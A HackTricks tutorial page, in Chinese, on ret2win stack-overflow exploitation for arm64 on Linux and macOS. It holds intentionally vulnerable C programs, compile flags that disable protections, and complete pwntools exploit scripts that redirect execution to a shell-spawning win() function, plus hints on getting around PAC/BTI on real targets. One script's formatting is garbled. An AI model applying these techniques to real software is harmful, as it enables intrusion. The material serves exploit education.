Ret2win - arm64
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
在下面查阅 arm64 的入门介绍:
代码
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
在不启用 pie 和 canary 的情况下编译:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- 额外的编译选项
-mbranch-protection=none会禁用 AArch64 Branch Protection (PAC/BTI)。如果你的 toolchain 默认启用 PAC 或 BTI,添加该选项可以保证实验可重复。要检查已编译的二进制是否使用 PAC/BTI,你可以: - 查找 AArch64 GNU 属性:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- 检查 prologues/epilogues 是否包含
paciasp/autiasp(PAC) 或bti clanding pads (BTI): objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- 链接寄存器是
x30(也称lr),函数通常用stp x29, x30, [sp, #-16]!保存x29/x30,并用ldp x29, x30, [sp], #16; ret恢复它们。 - 这意味着保存的返回地址相对于帧基址位于
sp+8。如果在下面放置一个char buffer[64],通常覆盖到保存的x30的距离是 64 (buffer) + 8 (saved x29) = 72 字节 — 正是下面我们会发现的。 - 栈指针必须在函数边界保持 16‑字节对齐。如果你之后为更复杂的场景构建 ROP chains,保持 SP 对齐,否则在函数 epilogues 可能会崩溃。
Finding the offset
Pattern option
This example was created using GEF:
使用 gef 启动 gdb,创建 pattern 并使用它:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 会尝试返回到寄存器 x30 中的地址(该寄存器已被覆盖),我们可以利用它来找到 pattern offset:
pattern search $x30
.png)
偏移量是 72 (9x48)。
栈偏移选项
首先获取存储 pc 寄存器的栈地址:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
现在在 read() 之后设置一个断点,然后继续运行直到 read() 被执行,并设置一个像 13371337 的模式:
b *vulnerable_function+28
c
.png)
找到该模式在内存中的位置:
.png)
然后: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
常规
获取 win 函数的地址:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
实际上这更像是栈中存储的 PC 的 off-by-2。我们不会覆盖整个 return address,而是只用 0x06c4 覆盖 最后两个字节。
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
你可以在 https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/,找到另一个 ARM64 的 off-by-one 示例,它是在一个虚构漏洞中的真实 off-by-one。
With PIE
Tip
编译该 binary 时不要使用
-no-pie参数
Off-by-2
在没有 leak 的情况下,我们不知道 win 函数的精确地址,但我们可以知道该函数相对于 binary 的 offset,并且已知我们覆盖的 return address 已经指向一个很接近的地址,因此在这种情况下可以 leak 到 win 函数的 offset(0x7d4)并直接使用该 offset:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### 代码
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
编译时不使用 canary(在 macOS 上你无法禁用 PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
在没有 ASLR 的情况下执行(尽管由于我们有 address leak,我们不需要这样做):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
在 macOS 上无法禁用 NX,因为在 arm64 上该模式由硬件层面实现,无法禁用,因此你不会在 macOS 中找到在 stack 中的 shellcode 示例。
查找偏移量
- 生成一个 pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- 运行程序并输入 pattern 以导致崩溃:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- 检查寄存器
x30(返回地址)以找到偏移量:
(lldb) register read x30
- 使用
cyclic -l <value>来查找精确偏移量:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- 这就是我如何找到 offset
72的方法,在该 offset 放入win()函数的地址即可执行该函数并获得 shell(在没有 ASLR 的情况下运行)。
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 第二个示例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
编译时禁用 canary(在 macOS 中你无法禁用 PIE):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
找到偏移量
- 将模式生成到文件
/tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- 运行程序以触发崩溃:
lldb ./bof_macos
(lldb) run
- 检查寄存器
x30(the return address) 以找到偏移:
(lldb) register read x30
- 使用
cyclic -l <value>来找到精确的偏移:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- 这就是我如何找到偏移量
72的方法,在该偏移放入win()函数的地址,你可以执行该函数并获得一个 shell(在未启用 ASLR 的情况下运行)。
计算 win() 的地址
- 该二进制是 PIE,通过泄露
leak_anchor()函数并已知win()函数相对于leak_anchor()函数的偏移,我们可以计算出win()函数的地址。
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- 偏移量为
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
关于现代 AArch64 加固(PAC/BTI)和 ret2win 的说明
- 如果二进制是使用 AArch64 Branch Protection 编译的,你可能会在函数序言/尾声中看到
paciasp/autiasp或bti c。在这种情况下: - 返回到不是有效的 BTI landing pad 的地址可能会引发
SIGILL。优先定位包含bti c的确切函数入口。 - 如果启用了用于返回的 PAC,简单的返回地址覆盖可能会失败,因为尾部会对
x30进行认证。用于学习的场景,请使用-mbranch-protection=none重新编译(如上所示)。在针对真实目标时,优先使用非返回型劫持(例如覆盖函数指针),或者构建不会执行会验证你伪造 LR 的autiasp/ret对的 ROP。 - 快速检查特性:
readelf --notes -W ./ret2win并查找AARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PAC注释。objdump -d ./ret2win | head -n 40并查找bti c,paciasp,autiasp。
在非 ARM64 主机上运行(qemu‑user 快速提示)
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
相关 HackTricks 页面
参考资料
- 在 AArch64 上为 Linux 启用 PAC 和 BTI(Arm Community,2024年11月)。 https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64 位架构的过程调用规范 (AAPCS64)。 https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


